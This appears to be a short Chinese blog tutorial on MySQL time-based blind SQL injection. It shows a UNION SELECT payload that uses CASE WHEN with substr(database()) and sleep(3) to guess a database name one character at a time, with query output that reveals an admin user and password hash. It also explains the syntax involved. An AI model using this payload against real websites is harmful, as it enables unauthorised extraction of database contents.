目前所知博主仅知的两个方法

1.通过case when then

2.join

[一]case when then

mysql> select * from lbcms_admin where adminname like "%a%" union select 1,2,3,4,5,6,7,case when substr(database() from 1 for 1) = 'l' then sleep(3) else 0 end;
+----+-----------+----------------------------------+----------+-------------+------------+-----------+---------------------+
| ID | adminName | adminPassWord | adminLov | adminConfig | adminClass | adminLock | adminDate |
+----+-----------+----------------------------------+----------+-------------+------------+-----------+---------------------+
| 1 | admin | a797ba2993304483f0d180e25d14319a | 520 | | NULL | SgrRUQ | 2010-04-14 00:00:00 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 0 |
+----+-----------+----------------------------------+----------+-------------+------------+-----------+---------------------+
2 rows in set (3.00 sec)

  相关知识[1]https://www.cnblogs.com/nul1/p/8727873.html

case when 条件1 then 条件2 else 条件3 end;       #如果条件1成立就执行条件2否则执行条件3 

  相关知识[2]https://www.cnblogs.com/nul1/p/9297045.html

from 1 for 1 #分页,前面的1代表截第几个,后面的1代表截取的长度.

[二]join

 https://www.cnblogs.com/i-honey/p/8203954.html

相关文章:

  • 2021-04-05
  • 2021-10-19
  • 2022-12-23
  • 2022-01-19
  • 2021-05-28
  • 2022-12-23
  • 2021-09-16
  • 2022-12-23
猜你喜欢
  • 2021-07-29
  • 2021-04-19
  • 2022-12-23
  • 2022-12-23
  • 2021-11-26
  • 2021-04-19
相关资源
相似解决方案